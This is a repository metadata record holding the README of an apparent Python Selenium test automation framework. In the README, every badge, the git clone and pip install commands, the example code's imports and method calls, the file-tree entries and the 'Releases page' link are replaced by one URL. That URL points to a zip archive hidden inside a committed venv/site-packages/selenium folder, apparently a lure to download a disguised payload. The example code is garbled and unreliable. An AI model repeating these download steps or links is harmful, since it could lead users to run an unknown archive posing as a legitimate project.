{"id":27775832,"url":"https://github.com/reddomgt/pythonseleniumtestframework","last_synced_at":"2026-04-25T23:37:41.282Z","repository":{"id":289728611,"uuid":"972179826","full_name":"Reddomgt/PythonSeleniumTestFrameWork","owner":"Reddomgt","description":"This repository contains a modular and scalable Selenium-based test automation framework built with Python. It is designed to simplify web application testing by following best practices, including the Page Object Design Pattern and data-driven testing. The framework supports multiple browsers, dynamic browser selection at runtime...","archived":false,"fork":false,"pushed_at":"2025-04-30T04:52:06.000Z","size":33513,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-30T04:57:13.413Z","etag":null,"topics":["browser-automation","cross-browser-testing","page-object-model","pytest","python","selenium","selenium-python","test-automation","testing","webdriver"],"latest_commit_sha":null,"homepage":null,"language":"HTML","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Reddomgt.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-04-24T16:55:08.000Z","updated_at":"2025-04-30T04:52:10.000Z","dependencies_parsed_at":"2025-04-24T19:40:36.597Z","dependency_job_id":null,"html_url":"https://github.com/Reddomgt/PythonSeleniumTestFrameWork","commit_stats":null,"previous_names":["reddomgt/pythonseleniumtestframework"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Reddomgt%2FPythonSeleniumTestFrameWork","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Reddomgt%2FPythonSeleniumTestFrameWork/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Reddomgt%2FPythonSeleniumTestFrameWork/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Reddomgt%2FPythonSeleniumTestFrameWork/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Reddomgt","download_url":"https://codeload.github.com/Reddomgt/PythonSeleniumTestFrameWork/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251644826,"owners_count":21620630,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["browser-automation","cross-browser-testing","page-object-model","pytest","python","selenium","selenium-python","test-automation","testing","webdriver"],"created_at":"2025-04-30T04:57:22.536Z","updated_at":"2026-04-25T23:37:41.276Z","avatar_url":"https://github.com/Reddomgt.png","language":"HTML","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Python Selenium Test Framework 🚀\n\n![Python Selenium Test Framework](https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip%20Selenium%20Test%https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip) ![GitHub](https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip) ![Issues](https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip) ![Forks](https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip) ![Stars](https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip)\n\nWelcome to the **Python Selenium Test Framework**! This repository contains a modular and scalable Selenium-based test automation framework built with Python. It is designed to simplify web application testing by following best practices, including the Page Object Design Pattern and data-driven testing. The framework supports multiple browsers and allows for dynamic browser selection at runtime.\n\n## Table of Contents\n\n1. [Features](#features)\n2. [Installation](#installation)\n3. [Usage](#usage)\n4. [Framework Structure](#framework-structure)\n5. [Contributing](#contributing)\n6. [License](#license)\n7. [Links](#links)\n\n## Features 🌟\n\n- **Modular Design**: Organize tests in a way that promotes reuse and maintainability.\n- **Page Object Model**: Simplify the code and improve readability by separating page logic from test logic.\n- **Cross-Browser Testing**: Run tests across multiple browsers seamlessly.\n- **Dynamic Browser Selection**: Choose the browser at runtime for flexible testing.\n- **Data-Driven Testing**: Easily run the same tests with different sets of data.\n- **Easy Integration**: Works well with CI/CD tools to automate your testing pipeline.\n\n## Installation 🛠️\n\nTo get started with the Python Selenium Test Framework, follow these steps:\n\n1. **Clone the Repository**:\n\n   ```bash\n   git clone https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip\n   cd PythonSeleniumTestFrameWork\n   ```\n\n2. **Install Dependencies**:\n\n   Use pip to install the required packages:\n\n   ```bash\n   pip install -r https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip\n   ```\n\n3. **Setup WebDriver**:\n\n   Make sure to download the appropriate WebDriver for your browser. Place it in your system's PATH or specify its location in the configuration file.\n\n## Usage 📖\n\nTo run your tests, you can use the `pytest` command:\n\n```bash\npytest tests/\n```\n\n### Example Test\n\nHere is a simple example of a test case using the framework:\n\n```python\nfrom https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip import LoginPage\n\ndef test_login_valid_credentials(driver):\n    login_page = LoginPage(driver)\n    https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip()\n    https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip(\"username\", \"password\")\n    assert https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip()\n```\n\n### Dynamic Browser Selection\n\nYou can specify the browser type when running the tests:\n\n```bash\npytest --browser chrome\n```\n\nThis allows you to easily switch between browsers without changing your test code.\n\n## Framework Structure 📁\n\nThe framework follows a structured approach to keep everything organized. Here’s a breakdown of the main directories:\n\n```\nPythonSeleniumTestFrameWork/\n│\n├── tests/                # Test cases\n│   ├── https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip\n│   └── https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip\n│\n├── pages/                # Page Object Models\n│   ├── https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip\n│   └── https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip\n│\n├── drivers/              # WebDriver binaries\n│   ├── chromedriver\n│   └── geckodriver\n│\n├── utils/                # Utility functions\n│   ├── https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip\n│   └── https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip\n│\n└── https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip      # Required packages\n```\n\n## Contributing 🤝\n\nWe welcome contributions to the Python Selenium Test Framework! If you would like to contribute, please follow these steps:\n\n1. Fork the repository.\n2. Create a new branch (`git checkout -b feature-branch`).\n3. Make your changes and commit them (`git commit -m 'Add new feature'`).\n4. Push to the branch (`git push origin feature-branch`).\n5. Create a pull request.\n\nPlease ensure your code follows the existing style and includes tests where applicable.\n\n## License 📄\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Links 🔗\n\nFor more information and to download the latest releases, visit our [Releases page](https://raw.githubusercontent.com/Reddomgt/PythonSeleniumTestFrameWork/main/venv/lib/python3.12/site-packages/selenium/webdriver/wpewebkit/Frame-Test-Selenium-Python-Work-3.4.zip).\n\nExplore the framework and contribute to its growth. If you have any questions, feel free to check the \"Releases\" section for updates and improvements.\n\nHappy testing! 🧪","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Freddomgt%2Fpythonseleniumtestframework","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Freddomgt%2Fpythonseleniumtestframework","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Freddomgt%2Fpythonseleniumtestframework/lists"}